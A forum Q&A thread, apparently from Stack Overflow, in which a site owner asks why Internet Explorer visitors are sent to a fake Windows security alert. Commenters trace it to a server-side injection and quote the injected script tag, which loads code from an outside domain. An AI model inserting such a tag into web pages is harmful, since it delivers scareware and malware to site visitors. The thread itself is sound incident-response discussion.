I have a website which is redirecting users to a fake windows security alert and I'm not to sure how to get rid of it. What's weird is that it's only happening in IE and that it seems to happen the first time visiting the site but then will not happen again (even after clearing cache and cookies).

This is what my site is being redirected to: http://assets.malwarehelp.org/blog/wp-content/uploads/2009/09/04.jpg

I've looked through the source and haven't found any injected scripts. I'm not too sure where to go from here. Any help is appreciated.

This is my site and the link which I was getting reports about: http://www.agendaprofile.com/skill-builder#16012ce4a0

  • Are you running scripts from external pages? They may have been comprized. Who is serving your ads? – Petey B Jul 11 '11 at 19:43
  • I don't have any third party scripts (other than the jquery core from google) and I'm using adsense to service my ads. – Michael Jul 11 '11 at 21:17
  • So .. now it is all fine? – LazyOne Jul 11 '11 at 21:57
  • @LazyOne No, I just replicated the behavior. @Michael: What's running your site? This type of thing is a relatively common WordPress exploit, but I can't immediately find evidence that's what you're using. Some more information about your system would let us give you more specific information. To start, though, search your theme files(whatever the CMS) for any unfamiliar code. Especially do a search for the term "eval" Also, check your CMS/app for any plugins you don't recall installing. – Su' Jul 11 '11 at 22:41
  • 2
    Somehow I missed that "IE" part in whole message. Any way -- it is definitely done on Server Side -- check your PHP code. This line gets added just before </body> tag: <script src="http://globalpoweringgathering.com/nl.php?p=1"></script>. It is only present if Browser string = IE (I have tried one for v9, 8 & 7 -- all have that line appeared). – LazyOne Jul 12 '11 at 0:32

Browse other questions tagged or ask your own question.